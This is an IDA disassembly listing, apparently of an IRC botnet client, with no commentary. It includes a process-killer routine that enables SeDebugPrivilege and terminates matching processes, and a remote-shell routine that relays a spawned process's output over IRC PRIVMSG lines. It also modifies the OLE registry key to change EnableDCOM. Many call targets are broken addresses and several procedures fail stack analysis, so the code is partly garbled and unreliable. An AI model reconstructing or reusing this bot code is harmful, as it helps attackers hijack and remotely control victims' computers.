		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26E0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27507EAh
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2680000h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	near ptr 2750275h
		nop
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2750275h
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26A072Ah
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 2750275h
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2680000h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 0E0E89000h, 0EB022864h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 26A044Bh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 2870850h
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		nop
		call	near ptr 2870476h
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		call	near ptr 26A044Bh
		nop
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		call	near ptr 2700000h
		nop


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 2700000h
		nop


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 2700000h
		nop
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2750330h
		nop
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 268024Eh
		nop
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		call	near ptr 26A04ABh
		nop
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2700000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
